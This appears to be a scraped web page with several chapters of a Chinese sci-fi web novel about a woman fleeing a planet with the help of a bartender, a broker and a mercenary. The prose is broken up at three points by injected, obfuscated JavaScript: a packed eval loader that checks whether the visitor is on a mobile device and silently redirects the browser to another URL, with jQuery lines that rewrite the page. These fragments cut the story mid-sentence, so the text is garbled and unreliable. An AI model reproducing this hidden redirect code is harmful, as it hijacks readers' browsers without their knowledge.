$(''.inform'').remove(); $(''#content'').append('' 金咕咕眼角跳了一下,心想你穿得跟个粽子似的,谁能看出来你长啥样,但毕竟对方是客人,本着顾客就是上帝的理念,他立即微笑赔罪。 “开个玩笑啦,美女,请你喝杯酒吧,消消火。”随即推了一杯酒到女人身前。 “我酒精过敏。”女人说。 酒精过敏就别来酒吧啊!金咕咕想。 “这样吧,我跟你打听个事,你老实交代,我就不生你气。” “额,可以是可以……” “我想去耶尓亚,不知道我可以在哪里买到票?呃……我是指,在没有合法帝国身份的情况下。” “……女士,你为什么觉得这种事能在酒吧打听到呢?” “小说和游戏里都是这样的啊,你们酒吧老板不都兼任情报商人吗?” 金咕咕沉默了,陷入深深的自我怀疑。 “你知道还是不知道,给个痛快话!别婆婆妈妈的!” “……我无能为力,另外,我也不是这里的老板,我只是个员工。” “行吧,那我换一个问题。” 金咕咕松了口气。 “你知不知道哪里有免费的星际穿梭舱可以用?就是那种,看起来跟柜子差不多大的,可以把人从一个星球送到另一个星球的火箭一样的东西。” “……您是认真的吗?” “那不然呢,我闲得慌啊。” “据我所知,那东西基本是帝国军用品,除非你有军官身份,否则根本碰不到。” 女人看起来很沮丧,说了句“这样啊。”就灰溜溜往外走了。 “你等会儿,”金咕咕叫住女人,“我认识一个中间人,他路子很广,也许能帮到你。” 女人眼睛亮了一下(也是金咕咕脑补的),问:“谁啊?” 金咕咕忽然有点后悔提这茬,毕竟女人看起来真的很不靠谱。 “我事先问好,假如他能帮忙,你能付多少?” “付多少?”女人想了想,嘟嘟囔囔不知道在算什么,最后给出结论,“我大概有两万块,应该够买票了吧?” “你觉得两万块很多吗?” “挺多了啊!我这一整身衣服才不到两千,而且我只是想买一张机票而已。” “大姐!您知道您这是在偷渡吗?” 女人作恍然大悟的神情(同样来自金咕咕的脑补):“原来如此!那要多少才够?” “……你这两万块大概只够付肖恩的委托费。” “肖恩?委托费?那都是啥啊?” “……就是你付钱给肖恩,肖恩给你介绍能帮上忙的人,当然,不管最后事情能不能成,钱都得照付。” “怎么感觉有点像诈骗……万一他拿了我的钱直接跑路怎么办?” 金咕咕情不自禁个翻了个白眼,“你也可以自己想办法,好走不送!”随即转身离开。 “欸欸欸!你等等,我就说说而已嘛,真小气!不就两万块钱,我给就是了!” 金咕咕停下脚步,暗戳戳叹了口气,“听好了,除了那两万块,你还得付我五千。你要同意的话,明天日落换身衣服来找我,别又裹得跟个粽子似的。” 7. 佣兵卡尔 宁可其实挺肉疼的。 她那点钱全是从之前废弃矿坑那具尸体搜刮出的储蓄卡里提出来的(密码由吝啬黑心资本家系统提供),满打满算只有三万块。 宁可本以为至少能花一段时间,然而现在看来,如果她接受了那个店员的交易,很快她就要去喝西北风了。 还有稀土星的食物真的像西彩说的那样难吃,宁可为那份没吃到嘴的巴椰沙伤心,不知道现在她去找店老板能不能让老板重做一份给她。 第二天去找金咕咕时,宁可依然穿着昨天那身装扮。 “不是,大姐,你是哪家吸血鬼见不得光么?”金咕咕一脸无语。 “差不多。我对阳光过敏。” “那你打伞啊!” “我妈说晴天打伞长不高。” “你已经很高了吧!而且你早就过了长高的年纪了吧!?” “……我妈说三十岁之前都会长,”宁可从兜里掏出两万五千块纸币,依依不舍地递到金咕咕面前,“……给你。” 金咕咕伸手拿钱,却发现钱被宁可攥的很紧,扯都扯不下来。 “……便宜一千行不行?” “你说呢?” “……求你了……我就只有这么点钱了,我会饿死的……”宁可用可怜巴巴的语气,装出一副泫然欲泣的模样,一双亮晶晶的眼睛(当然,这还是金咕咕的脑补)隔着墨镜盯着金咕咕的脸。 “你饿死跟我有什么关系?我连你名字都不知道。” “我叫……嗯,丁可欣。你可以叫我小丁,现在你知道了。” 这个假名是有学问的,宁可稍微改一下就变成了丁可,为了不让人联想到宁珂,便随便再加一个欣字。 金咕咕不说话,只是一味扯钱,但又不敢太用力,万一扯断就得不偿失。 宁可当然也舍不得放手,两人就这样拔河似的僵持了半分钟,最后,金咕咕在宁可墨镜后射出的祈求射线下妥协了。 “啧,”金咕咕咂咂嘴,“也不是不行,你把口罩跟墨镜摘了,让我见识下吸血鬼长什么样,我就便宜你一千。” “……不,我很丑的,还是不辣你的眼睛了……” “那就一分不能少,饿死你活该。” “……” 宁可犹豫了半天,最后咬了咬牙,她就不信了,全世界那么多人,总不能每个人都认识宁珂的脸。 心中决断后,便以迅雷不及掩耳之势摘下了口罩墨镜,愤恨地瞪了金咕咕一眼。 “看看看!给你看行了吧!” 金咕咕呆滞了一下,在宁可的凝视下,有些局促地撇开视线:“……可以了。” 宁可“哼”了一声,又重新戴上口罩和墨镜,数出一千块钱死死揣回了兜里。 两人一前一后往酒吧深处走去,在某个角落走过一段向下的台阶后,宁可看到一扇金属质的双开门,门边站着一个肌肉壮硕的中年男人,虽然比不过古恩人高马大,但压迫力却不逞多让。 等到宁可二人走到近前,男人抬手拦住他们。 “金咕咕,怎么回事?”男人声音低沉浑厚。 “给肖老大介绍点小生意,三叔你别见怪。”金咕咕陪笑道。 这是宁可第一次听到金咕咕的名字,当即憋不住笑意,噗嗤一声笑出来。 “你笑什么!?”男人呵斥道。 “金……金咕咕……”宁可指着酒保,好不容易才收住笑,竖起大拇指一本正经道,“真是个好名字呢。” 被称作三叔的男人和金咕咕同时黑了脸。 “行了,进去吧,别闹事。” 门缓缓敞开,重金属摇滚骤然扑面而来,混着威士忌的醇厚与淡淡的烟味,钻进两人鼻腔。 这里远比楼上的小酒吧宽敞,头顶淡蓝色射灯错落排布,光线清亮不刺眼,将整间大厅衬得奢华又大气。大厅中央四方圆角的承重柱旁,环着一圈酒台,金属台面擦得光洁锃亮,清晰映出调酒师的身影。 一名穿黑白制服的调酒师,正从容晃动着水晶调酒杯,动作利落娴熟,宛若杂技表演。酒台四周疏落地摆着环形真皮卡座,间距开阔,卡座旁立着小巧的金属边几,搁着精致的烟灰缸。 大厅右侧摆着两张深色实木台球桌,四周墙边陈列着几款外观精致的不知名显示装置,一看就不是便宜货。 宁可只匆匆扫了一眼,便默默跟在金咕咕身后往里走,生怕碰坏了什么赔不起的东西。 走过一条淡蓝色流纹灯装饰的走廊,金咕咕敲响末端包间的门,几秒后门从内侧被打开,开门的卷发女郎看了二人一眼,什么也没说,走回去坐到沙发上一个胳膊纹满纹身、表情阴翳的粗旷男人臂怀里。 纹身男对面还坐着另一个俊瘦男子,相比之下显得年轻许多,面容很是俊俏,前刺的烫发和古铜色皮肤让他显得狂放不羁。 在纹身男的示意下,金咕咕和宁可坐到沙发的另一边,步行间,金咕咕低声跟宁可介绍,说有纹身的这位就是肖恩肖老大,另一个则是新来这边的不知名佣兵。 “所以,卡尔,你想让我说什么?”肖恩道,这话显然不是对宁可说的,“找一队人帮你把杰弗里打一顿,把东西抢回来?” “那是你的人,肖恩,”被称作卡尔的男子咬牙切齿,“在执行你的任务,以你的名义,你难道不该负责吗!?” “得了吧。你知道我只是个中间人,我只负责帮客户找对的人交代对的事儿,至于我自己,能有什么任务给杰弗里?让他下楼帮我买酒么?”肖恩冷笑,“要是他举个旗说,我以肖恩的名义,那他就是个傻*,信了的人也是傻*。” “你的意思是你不管了?” “我为什么要管?” 卡尔额上青筋暴起,狠狠握着拳头,好似下一秒就会变成失去理智的暴徒挥拳殴打肖恩,肖恩好似没看见一般,仍是悠哉悠哉地坐着,一手摸了根烟出来含在嘴里,另一只手不老实地在怀中女郎身上游走。 反倒宁可皇上不急太监急地紧张起来,心想如果卡尔真动手,自己要不要上去象征性阻拦,虽然肖恩看起来也不是啥好人,但卖他个人情也许能换来些折扣呢。 就算只打九折,那也是两千块啊! 然而,卡尔终究没有动手,宁可失去了美女救狗雄的机会。 那根烟大概只燃过一半,就被肖恩按灭在烟灰缸里,肖恩吐出最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“当然,你有权说你对这个人不满意,我当然会帮你物色新的人选,那样的话,你就得再等很长一段时间了,毕竟,拥有星际飞船的佣兵很少很少。” 宁可当然不愿在稀土星久留,但她又下意识觉得哪里不太对劲。 “行了,无论如何,钱都得照付。” 金咕咕见状,刚把手插进口袋准备递钱,却被宁可抓住胳膊,金咕咕看了看宁可,又转向肖恩,张了张口却什么都没说出来。 “哼,有意思。”僵持片刻,肖恩突然诡异地笑了,“够了,别在我面前演什么苦情戏,丁小姐,看在小金的面子上,我再额外赠送你点儿情报,注意,是赠送,不是补偿。” “欸?”宁可懵。 “杰弗里那伙人前几天在另一个中间人手上接了个任务,当然,这跟我无关,只是我不巧得知了他们驻扎的位置。” 肖恩拿出一个平板光脑,在上面划拉几下,投射出一个地图。 “喏,这个坐标,我推测他们至少要在这里驻扎一个星期,我建议你记下来,如果你真的很着急离开稀土,那我相信你很快就会用上它的。” 宁可还没搞清楚情况,金咕咕却已擅自下了决断,朝肖恩道谢后,把钱放在茶几上,拽着宁可出了门。 宁可一步三回头,眼睁睁看着那沓钞票离她越来越远,最后被门扉阻隔在包间里。 8. 色诱与爆炸 “我的钱……” 走廊里,宁可蹲在角落手指画圈碎碎念:“洗盘子一天三百块,两天六百块,两万块是……” 金咕咕站在一边,莫名觉得好笑:“你别急,我有办法。” “我没钱了,这些就是我的全部家当,”宁可咬牙切齿,“我可以揍你一顿吗?” 金咕咕眼皮跳了一下:“……你没钱的话,那假如,卡尔的飞船没有坏,让你付他的报酬,你怎么办?” “我还要付他报酬?” “不然呢?我不是说过了么,你给我们付的只相当于中介费,人佣兵不收钱,难道专门做慈善?” 宁可陷入沉思,片刻后固执地抬头:“我开始觉得你们像诈骗团伙了,我可以报警吗?” 金咕咕扶额。 “大姐,说真的,您是哪家千金大小姐么?” “不是啊。” “那您这么没有常识,是怎么长这么大的?” 宁可心里咯噔一下。 “我我我们家又不用雇人干活我怎么知道这些……” “行了你听我说,这样,一会儿我们去找卡尔,然后你用杰弗里的情报代替卡尔那份佣金,至于飞船的事,就让卡尔自己去想办法,你明白了?” “……不用再付钱了?” “理论上不用。” “就算要钱我也没有了哦?我也没什么值钱的东西能抵债哦?” 金咕咕瞟了一眼宁可,脑海中浮现宁可那张令人惊艳的脸。 “干嘛?”宁可问。 “没事,走吧。” 两人行至大厅,幸运的是卡尔没有立即离开,而是在中央吧台点了杯酒,跟酒保攀谈着,两人走近,听见卡尔在打听杰弗里的事。 “杰弗里啊……那伙人有段时间没来过了。”酒保说。 “几天?几星期?” “一两个星期吧,我只值傍晚到凌晨的班,至少我值班期间没见过他们。” 金咕咕走上去,拍拍卡尔的肩膀:“兄弟,借一步说话?” 卡尔目光在二人身上扫视一圈,朝最角落的卡座抬了抬下巴,三人走过去先后入座。 卡尔的坐姿很松垮,有气无力瘫在沙发上,摸出一包烟,往自己嘴里喂了一根,随后把烟盒丢在桌子上。 “要抽自己拿。” 金咕咕和宁可皆婉拒。 “卡尔……兄弟,就像你听到的那样,这位丁小姐需要你带她去耶尓亚。” “你没听你老大说话么?”卡尔咬着烟叹气,显得有些不耐,“飞船飞不了,你要把她烧成骨灰,我倒能帮你邮过去,当然了,快递你们得自己找人收。” “呃……我暂时没有去死的打算,所以那个……”宁可有点发怵。 “有个事儿我很好奇啊,你为什么要遮住脸?有人在找你?” “啊,那是因为我对阳光……” 金咕咕拍了下宁可的胳膊。 “她一个女的,在灰城这种地方,当然要小心点。”金咕咕诚恳说道。 至少金咕咕自认为诚恳。 “她很漂亮么?”卡尔追问。 “那……倒也不是。” “呵,那就有意思了,合着女人不该来灰城,否则都得遮住脸。”卡尔顿了顿,吸了口烟又吐出来,“得了,我就随口一问。总之你们的生意我暂时做不了,让肖恩找别人吧。” “如果我们能帮你找到杰弗里呢?”金咕咕问。 卡尔抬眸,眼中闪烁寒光。 “那他就死定了。” 宁可眼角颤了颤。 “……我的意思是,我们能否用这份情报换你送丁小姐去耶尓亚。” “不太行,”卡尔回答得很快,视线二人脸上游走一圈,“其实就算没有你们的情报,我也总有一天能找到杰弗里,他不可能当一辈子老鼠。问题是,我现在只有自己一个人,就算找到他了,我也拿他没办法。” “我还可以给你提供一些场外协助,帮你拿回那个部件,这样也不行么?” 宁可此时也举手:“如果要打架的话,我觉得我还挺能打的。”然而,看到金咕咕和卡尔投来的怀疑视线,宁可又不自信了,补了一句“大概。” 金咕咕不自在地笑笑:“你别当真,她脑子不好。” “哈?”宁可瞪向金咕咕,金咕咕不予理会。 卡尔沉思片刻,嘴角忽然牵扯起一个微妙的笑容:“我倒有个主意,你们跟我来。” 卡尔领着二人离开酒吧,在街边找到一辆车,车体外观跟普通的轿车差不多,只是涂装十分浮夸,绘图似乎是一个半裸的男性在用吉他在演奏歌曲,人体周边用各种夸张的色彩线条表示乐调,仅仅是看着那幅画,宁可就好像听到了一首重金属摇滚乐。 金咕咕吸了口凉气:“卡尔兄弟,你这车……多少钱买的?” “免费,你去当一年拾荒者,也能装个一样的。” “涂装是你自己搞的?” “对。” 宁可觉得卡尔该去车厂找个涂装设计的工作,估计会很吃香。 上了车,待车子驶出一段距离后,金咕咕问道:“我们这是去哪?” “见一个易容师,对那家伙来说,不管你有多丑,只要勉强有个五官,她就能把你变成个美人儿。” “什么意思?” “你们估计不知道,杰弗里是个色鬼,同时又是个懦夫,你要把他单独叫出来比登天还难,除非……他小头控制大头了。” “……不行,停车。”金咕咕沉声道。 “什么?” “我说停车!” 轮胎刹死,在路面发出刺耳的哀鸣。待车停稳后,驾驶座的卡尔回头,冷冷看向金咕咕。 “我的意思是,这个计划太危险,丁小姐是雇主……” “雇主怎么了?不是你们自己说要帮忙的么?” “我说的是场外协助!” “这不属于场外协助?”卡尔嗤笑一声,“还有,我早想问了,她是雇主,她要去耶尓亚,跟你一个酒保有什么关系?你在这搅什么局?” “我收了她的钱。” “什么钱?保镖钱?雇你当保镖?她戴墨镜不是为了掩人耳目,是因为眼瞎?” “……我收了她中介费。” “那你还挺尽责,”卡尔露出不屑的神色,“比你老大靠谱多了。” “呃……那啥,你们别吵,我觉得易容了的话,应该没问题……而且如果敌人不多的话,我至少还是有自保能力的。” 宁可其实打得是白嫖易容机会的算盘,她早就想易容了,奈何她没有那个本领,否则也不会穿着这身衣服乱跑。 “Fine。”卡尔打了个响指,重新启动汽车发动机,金咕咕黑着脸,也不再多说什么。 卡尔介绍的易容师叫薇尔,看起来像个黑长直大姐姐,嗯,没错,仅仅是看起来像而已,直到薇尔开口,宁可才知道,原来薇尔是黑长直大兄弟。 薇尔并没有什么实际的店面,只有一个摆满易容器具的小工作间,那些器具和宁可印象里的化妆用品截然不同,更像是各类塑形垫材,大大小小、形态各异。 易容前,或许是看出了宁可的犹豫,薇尔主动介绍说他从不接待陌生顾客,只通过相互介绍的方式帮人易容,虽说收费不低,但易容效果和维持时长都有保证,且绝对严守客户的所有信息。 此话一出,宁可才略微安心。 宁可进入工作间以后才卸下口罩墨镜,出来时已是另一番模样——眉眼变得柔和普通,肤色也暗沉了几分。 虽然仍算个美女,但却没了原来的惊艳感。 卡尔在外等待,始终未见宁可真容,却也并没有探究的兴趣。 只是收钱时几人略有争执,最后还是卡尔在宁可“要钱没有要命一条”的无赖发言下,悻悻付了款。 虽说薇尔保证两三天内易容效果都不会有下降的风险,但保险起见,卡尔还是约定次日凌晨就出发前往肖恩给的坐标查探情况。 “我没问题,但我没车,你得来接我,不然我只能跑过去了。”宁可举手道。 “我就不去了,祝你们顺利,”金咕咕叹了口气,挤出一个笑容,“丁小姐,既然计划已经确定好,那我的职责也算完成了,就不继续给你们添乱了。” 宁可看向卡尔,卡尔靠在车门上摊摊手置身事外。 “没有啊,你……你帮了我很多啊,哪有添乱……” “所以我收了你钱,现在我能做的都做了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407352|200590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“可……” “丁小姐,我和您不一样,我还要在灰城讨生活的,中间人有中间人的立场。”金咕咕从椅子上起身,拍拍屁股向门外走去,“您万事小心,祝一切顺利。” 宁可张张嘴,却不知道该说什么,只得目送金咕咕离开,消失在视野里。 …… 次日凌晨,天空刚泛起鱼肚白。 不知道为什么,这一夜宁可没怎么睡着,大部分时间都处在一种恍惚游离的状态。 不知不觉,已是光脑闪烁,卡尔通知该出发的时间了。 宁可背上早就收拾好的行囊,在客店前台退了房,出门后便看见路边停着一辆深绿色的越野车打着双闪,卡尔倚在车门上。 宁可向卡尔走去,一边走一边思索该说些什么。 “卡、卡尔兄弟,昨天那辆车不开了吗?” 如果是金咕咕,大概会这么问吧。 “那辆太显眼了,而且跑不了山路。” “这两辆车都是你的吗?” 卡尔看了宁可一眼,神色有点古怪。 “不是,这一辆是借的。行了你快上车,别客套了。” 肖恩提供的坐标距离灰城有很长一段距离,两人凌晨出发,抵达时已日上三竿。 与地图上显示的不同,坐标地点附近存有几栋建筑,其中一个大概有四层楼高度,其余的皆只有一层,呈半环形坐落在公路一边。 宁可与卡尔二人在一公里外的山丘后停车,用望远镜查探情况。 “估计就是那儿没错了,”卡尔道,“那几辆车我有印象,是杰弗里那伙人的。” “啊?”宁可拿着卡尔给的望远镜这边悄悄那边看看,来回数了一边,惊恐道,“那三辆车都是吗?” 卡尔没听出宁可的语气变化,说道:“应该还有别的,不止这三辆,可能停车库了。” “一辆车可以坐四个人……四辆就是……十六个人!他们有十六个人!?” “不止吧,那些车厢车斗什么的也能坐人。” “我们只有两个人。” “对啊,你不是说你挺能打么?” “我我我没想到要打这么多啊而且他们还有枪……” 卡尔摆出一副看傻子的眼神看宁可:“所以才让你色诱,不然昨天让你易容是为了什么?” 为了让我改头换面披上马甲重新做人——宁可是这么想的,但不敢这么说。 “听着,杰弗里是个胖子,头顶是秃的,嘴唇下面有颗很大的痣,你一眼能认出来。” “……” “一会儿你自己开车过去,装作车没油让他们帮忙,然后想办法留到晚上,他们十有八九不会赶你走。” “那你呢?” “我不能跟你一起,免得引起他们注意,等你过去以后,想办法勾引杰弗里,晚上把他约到一个单独的房间,然后用这个联系我。”卡尔递过来一个对讲机,“记住,白天不行,白天我没办法过去,他们肯定有人放哨的。” 宁可快哭了:“我不会开车,我也不会勾引……” “车能自动导航,至于怎么勾引……你要装得弱势一点,算了你不用装,杰弗里自己会上钩的。” “……” “你放心,那个对讲机侧边有个红色的按钮,看到了吗?如果实在没办法,你就按那个按钮,我这边会收到信号,掩护你撤退。” “你你你收到信号不会直接跑了吧?” “不会,我车都给你了怎么跑?” 宁可深表怀疑。 卡尔见宁可仍不情愿,叹了口气,从车厢里拿出几个管状物,宁可定睛一看,眼皮疯狂颤动,居然是一个火箭筒和三发炮弹。 “没事,那换PLANB。” 宁可喜出望外:“PLANB是什么?” “我直接三发炮弹打过去,他们怎么也死得七七八八了,然后我俩杀进去。” “……” “缺点是可能打不过,而且如果运气不好,炸到那个飞船部件,你也得另谋高就。” “……” “或者PLANC,还是你色诱,但如果情况不妙,你就找个我能看见的地方按按钮,我还是三发炮弹打过去,尽量不误伤你。你选一个吧。” 9. 咕咕咕 ……………… 时间倒回几个小时前,宁可和卡尔见面出发后不久。 金咕咕像个破麻袋一样瘫坐在天台湿冷的地面上,手脚被死死缚住。 他先是猛地打了个寒颤,才在浑身散了架般的剧痛中缓缓找回意识。 “~哦,我,我,我就是正义英雄~” “~帮扶弱小,行侠仗义~” “~惩恶扬善,仗义执言~” “~哦,我,我,我就是正义英雄~” 一阵低沉的男声伴着不成调的吉他拨弄,凑成一首滑稽又诡异的小调,钻进金咕咕的耳朵。 他艰难地扭过沉重的脖颈,只见一个戴着牛仔帽的男人正大喇喇地跨坐在椅子上,慢悠悠地拨着琴弦。 天边刚洇出第一缕透着青灰色的晨光,光影的角度极为刁钻,男人背着光,脸庞隐匿在一道漆黑的剪影里。 而在剪影旁、男人的皮靴边,还躺着一道微微起伏的身躯。 金咕咕定睛细看,那人背上狰狞的恶鬼纹身印入眼帘。 是肖恩。 此刻的肖恩鼻青脸肿,满脸血污地侧卧在粗糙的水泥地上,俨然已昏死过去。 到底发生了什么?金咕咕脑子里像塞了一团乱麻,拼命回溯。 最后的记忆,还停留在昨天与丁小姐道别、独自返回酒吧的路上。 下了计程车,他甚至都已经远远望见了酒吧那闪烁的霓虹灯牌,再往后……便是后脑勺一阵剧痛,眼前一黑。 “~哦,我,我,我曾是正义英雄~” “~身不由己,困入尘笼~” “~初心藏起,无奈行凶~” “~哦,我,我,我曾是正义英雄~” “唔嗯!唔——!”金咕咕试图开口质问,但嘴巴被宽胶带死死封住,只能从喉咙深处挤出几声沉闷的嘶吼。 “铮——” 男人拨弦的手骤然停住,琴音戛然而止。 “早上好,先生。”他转过头,轻声细语地说。 金咕咕怒目圆睁,死死瞪着他。 “哦,差点忘了,实在抱歉,我这就帮你解开。” 男人站起身走近,一把捏住金咕咕脸上的胶带,“唰”地一声粗暴撕下。连皮带肉的撕裂感让金咕咕疼得倒抽一口冷气。 “很抱歉以这种方式跟你见面,说实话,本来没必要这么不体面的,但是……” “你想要什么?”金咕咕哑着嗓子,硬生生打断了他。 砰! 下一秒,男人的皮靴重重地踹在金咕咕的小腹上。力道之大,让金咕咕整个人犹如煮熟的虾米般痛苦地蜷缩起来,喉咙里发出干呕的嗬嗬声。 “啧。”男人居高临下地砸了下嘴。 借着渐亮的天光,金咕咕这才看清了他的脸——大概四十出头,面庞冷硬削瘦,下巴覆着一层青灰色的胡茬。那张脸上笼罩着一层阴翳,但转眼间,又切换成了一种病态的谦逊。 “请不要打断我说话,先生,那样很没有礼貌。”男人理了理领口。 金咕咕痛苦地喘息着,冷汗混着血水流进眼睛,无暇回应。 “刚刚说到哪儿来着?哦对,说实话本来没必要找你,但……”男人苦恼地敲了敲额头,作出苦恼的表情,“你老大说,这事只有你知道。” “……” “是这样,我想跟你们打听一位美丽的女士。嗯,长发……当然也可能是短发;个子不矮,相对大部分女士来说算挺高的。名字嘛……名字是什么来着?” 男人停下话头,静静地看着金咕咕。 “我……我不知……” 话音未落,男人的靴尖再次毒蛇般踢出。 砰!这次正中面门! 金咕咕眼前一黑,唇间瞬间涌起浓烈的腥甜,他猛地咳出一口血水,里面混着一颗断裂的牙齿。 男人仿佛没看见地上的血,温和地笑了笑:“你老大说,那位女士的名字只有你知道。” “我……我是真不知道你说的是谁……”金咕咕含糊不清地辩解。 “不知道么?没关系,我有照片。”男人装模作样地在夹克口袋里翻找了几下,动作一顿,“呃……真不好意思,出门急,照片没带。这就难办了啊。” 他摇了摇头,重新坐回椅子上。沉吟片刻后,他伸出脚,在昏迷的肖恩脸上不轻不重地踢了几下。 肖恩闷哼一声,恍惚着睁开眼。 “肖先生,你的手下说他不知道我在找谁。我呢……口才又不好,不知道怎么形容,你说这该怎么办?” 肖恩经历了片刻的迷惘,看清眼前的惨状后,恐惧瞬间爬满双眼。 他旋即恶狠狠地瞪向金咕咕:“就你带来的那个!就那个姓丁的贱人!” 砰! 男人毫不客气地一脚补在肖恩脸上,顿时又添了一道血口子。 “注意用词,文雅一点,先生。”男人微微皱眉。 肖恩被打得缩成一团,眼神里透着委屈和惊恐。 “所以,你知道是谁了?”男人重新将视线投向金咕咕。 “我……我也不清楚她的名字……她从来没跟我说过……”金咕咕咬着牙。 “嗯?”男人挑了挑眉,微笑着看向肖恩。 “你、你说谎!你能不知道!?你个吃里扒外的东西!”肖恩瞬间破防,歇斯底里地大骂,“她tm不是你姘头?你能不——” 砰!又是一脚。 肖恩快哭了,明明自己从头到尾问啥说啥,配合得不得了。 “你跟她是什么关系?”金咕咕咽下嘴里的血水,强撑着问。 男人看着金咕咕,这次竟出奇地没有动粗。他摸了摸下巴:“嗯……算是朋友吧,应该。我跟她见过一面,可谓相见恨晚。不过当时有伙人正追杀我,所以道别得有些仓促。” “……” 金咕咕心里冷笑,连标点符号都不信。 男人站起身,走到金咕咕身前。金咕咕闭上眼,绷紧肌肉,准备硬扛接下来的毒打。 然而,预想中的剧痛迟迟没有降临。 男人居高临下地俯视着他,语气变得百无聊赖:“嘛,其实你说不说都没关系。这位肖先生已经告诉了我该去哪儿找她,我只是想确认一下,她到底是不是我要找的人罢了。” “那你直接去不就好了?” “那里挺远的。万一找错了,我可不想白跑一趟。”男人顿了顿,发出一声夸张的叹息,“话说回来,我对你们这行不太了解。原来你们这群人,还有替人保密的义务?” “……是。” “真的吗?”男人瞥了地上的肖恩一眼,“我看这位肖先生,似乎完全没有这种顾虑呢。” “……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“丁可欣!她叫丁可欣!!!”金咕咕声嘶力竭地吼出了那个名字。 预想中肖恩的惨叫并没有响起。 “铛”的一声脆响,匕首贴着肖恩的手指,狠狠插进混凝土地面,生生崩出一个两厘米深的豁口。 但金咕咕无暇去看,也无暇去听。他只是死死闭着眼睛,把身体蜷缩到极限,仿佛恨不得将脑袋埋进地缝里。 头顶传来男人低声的嘟囔。 “丁可欣……丁可……哼。”男人轻笑了一声,语气里透着索然无味,“嘛,那看来是找错人咯。” 金咕咕猛地一愣,失焦的双眼这才恢复了些许神采,难以置信地抬起头看向男人。 然而,男人只冷冷地勾了勾唇角,看不出心思。 他轻描淡写地拔出匕首,将吉他塞进背后的琴包,连看都没再看他们一眼,转身朝着楼梯井走去。 清晨的风送来渐行渐远的哼唱: “~哦,我,我,我曾是正义英雄~” “~身不由己,困入尘笼……” 10. 美女与苦力 为了把变数降到最低,宁可等日头偏西才开车出发。 虽说是“开车”,但她全程除了死命攥着方向盘、把手心里渗出的冷汗均匀地抹在真皮套上之外,基本处于挂机状态。 这辆深绿色的越野车忠实地执行着卡尔预设的航线,载着僵硬得像尊石雕的宁可,义无反顾地冲向敌方老巢。 卡尔的计划看似完美无缺,可真实施起来,宁可就发现实际全是破绽。 车子距离那些建筑不足五十米时,门口的哨兵就动了。 那家伙走到路中间,一边挥手一边骂骂咧咧地示意宁可停车。 然而,宁可压根不知道刹车在哪儿,而这辆被设定了“自杀式导航”的越野车,也显然没被输入过任何温良恭俭让的美德。 “大大大大哥快让开!快让开啊大哥!”宁可在车里发出了濒死的尖叫。 哨兵眼见这绿皮铁怪兽没有半点减速的意思,惊出一身白毛汗,一个标准的战术翻滚直接摔进了旁边的土沟。 越野车擦着他的脚后跟,“呼”地带起一阵狂风,精准地冲向终点,最后像个凯旋的功臣,在预设位优雅地打了个响鼻——熄火了。 世界陷入了死一般的寂静。 半晌,满脸尘土、连眉毛都挂着沙粒的哨兵从地上蹦起来,指着车门爆出了长达三分钟、不带重样的芬芳词汇。 宁可连滚带爬地摔下车,以一种要把头磕进地心里的弧度疯狂鞠躬:“大、大、大哥对不起!我刚拿的驾照……不对,我刚自学成才,这车它有自己的想法!” “不会开还开那么快!你赶着投胎啊!哪天撞死你丫没人收尸的东西balabala……” 哨兵的唾沫星子在夕阳下飞舞了足足三分钟,全方位覆盖了宁可的视线。 宁可怂得像只淋雨的鹌鹑,一边点头哈腰,一边委屈得想哭。 最后看哨兵骂得口渴了,宁可很有眼色地递了瓶水上去,哨兵这才消气,拿出对讲机发了个一切正常的通告。 “得,你丫哪儿钻出来的?找谁?” “不找谁,我想去奥尔默投奔我大伯,”宁可按照剧本,露出一副怯生生的神情,“但车快没油了,我想跟哥哥们借点油……行吗?” “借什么借!你当加油站啊我们这儿?”哨兵冷笑,眼神在宁可那身还算体面的衣服上刮了一圈,“有钱吗?三倍市价。” “……我没带钱……” 其实宁可的钱还剩一点,但卡尔交代过对方让付钱就说没带,至于原因嘛……万一真买到了怎么办?宁可总不能加了油就走。 “没事儿,哥哥们这儿支持刷卡。” “呃,对不起,我其实是没钱,不是没带钱。” “……合着你就想白嫖呗?”哨兵的脸瞬间拉了下来,像挂了层霜,“咋地,看你穿得挺干净,搞半天是个乞丐?” “我……”宁可一阵脸红,心一横,扭了扭身子摆出一副自认为婀娜多姿、实则像肋间神经痛发作的神情,羞赧地绞着衣角,“我用别的……跟你们抵债行吗?” “用啥?”哨兵这回终于正眼瞧她了,他从头到脚、又从脚到头地扫视了宁可三圈,忽然下流地笑了一声,“嘿,你还真别说。成,跟老子过来吧。” 哨兵转身带路,宁可深呼吸几口气跟了上去,虽然事情有点出人意料,但好歹是朝着卡尔的预期发展了。 吗? 之前提到过,这个建筑群只有北面一栋楼是四层高度,其余两栋皆只有一层,其中最南边的那栋最为古怪,虽低矮却占地面积颇大,整体呈一个圆柱形。 在哨兵的带领下,随着距离那栋圆形建筑越来越近,一股类似建筑工地钻地机的刺耳噪音钻进鼓膜,伴随着某种沉重的金属撞击声:“哒哒哒……” 进入建筑的那一刻,宁可明白事情又走偏了。 这栋楼不是什么闺房密室,而是个地下黑矿坑,建筑内部没有地板,中心是一个黑黝黝的斜井,铁轨延伸向地下,隔几分钟就有个满脸黑灰的倒霉蛋推着矿车出来。 